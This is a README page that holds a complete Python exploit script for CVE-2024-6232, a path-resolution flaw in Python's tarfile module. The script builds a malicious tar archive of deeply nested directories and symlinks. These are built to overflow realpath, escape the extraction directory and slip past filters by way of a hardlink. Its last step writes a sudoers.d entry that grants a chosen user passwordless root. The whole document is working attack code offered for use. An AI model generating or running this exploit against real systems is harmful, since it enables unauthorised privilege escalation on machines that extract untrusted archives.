README.md
Rendering markdown...
import tarfile
import argparse
import os
import io
import sys
def main():
parser = argparse.ArgumentParser(
description="Exploit for CVE-2024-6232 - Python Tarfile Realpath Overflow"
)
parser.add_argument("username", help="The name of user that will be added to sudoers")
parser.add_argument("filename", help="The name of the malicious tar file (e.g., backup.tar)")
args = parser.parse_args()
if not args.username.strip() or not args.filename.strip():
print("Error: Both username and filename must be non-empty strings.")
sys.exit(1)
run_script(args.username, args.filename)
def run_script(username, filename):
print(f"--- Generating Malicious Tar: {filename} ---")
# long_dir_name + shortcut_steps combined will push the path length to the edge of PATH_MAX (4096)
long_dir_name = 'd' * (55 if sys.platform == 'darwin' else 247)
shortcut_steps = "abcdefghijklmnop"
current_nesting_path = ""
with tarfile.open(filename, mode="x") as tar:
# Phase 1: Build the nested maze (The Invisibility Cloak)
for step_char in shortcut_steps:
# Create physical directory
dir_entry = tarfile.TarInfo(os.path.join(current_nesting_path, long_dir_name))
dir_entry.type = tarfile.DIRTYPE
tar.addfile(dir_entry)
# Create the 'shortcut' symlink to that directory
shortcut_link = tarfile.TarInfo(os.path.join(current_nesting_path, step_char))
shortcut_link.type = tarfile.SYMTYPE
shortcut_link.linkname = long_dir_name
tar.addfile(shortcut_link)
# Move deeper into the path for the next iteration
current_nesting_path = os.path.join(current_nesting_path, long_dir_name)
# Phase 2: Create the trigger that breaks os.path.realpath()
deep_path_trigger = os.path.join("/".join(shortcut_steps), "l"*254)
u_turn_link = tarfile.TarInfo(deep_path_trigger)
u_turn_link.type = tarfile.SYMTYPE
u_turn_link.linkname = ("../" * len(shortcut_steps))
tar.addfile(u_turn_link)
# Phase 3: The Escape Link (Targets /etc/sudoers.d/)
escape_to_root = tarfile.TarInfo("escape")
escape_to_root.type = tarfile.SYMTYPE
# We use the trigger path + enough ../ to climb out to the root file system
escape_to_root.linkname = deep_path_trigger + f"/../../../../../../etc/sudoers.d/{username}"
tar.addfile(escape_to_root)
# Phase 4: Bypass filters using a hardlink to the escape symlink
bypass_hardlink = tarfile.TarInfo("exploit_link")
bypass_hardlink.type = tarfile.LNKTYPE
bypass_hardlink.linkname = "escape"
tar.addfile(bypass_hardlink)
# Phase 5: The Payload Write
payload_content = f"{username} ALL=(ALL:ALL) NOPASSWD:ALL\n".encode('utf-8')
write_operation = tarfile.TarInfo("exploit_link")
write_operation.type = tarfile.REGTYPE
write_operation.size = len(payload_content)
tar.addfile(write_operation, fileobj=io.BytesIO(payload_content))
print(f"--- Done! {filename} created successfully. ---")
if __name__ == "__main__":
main()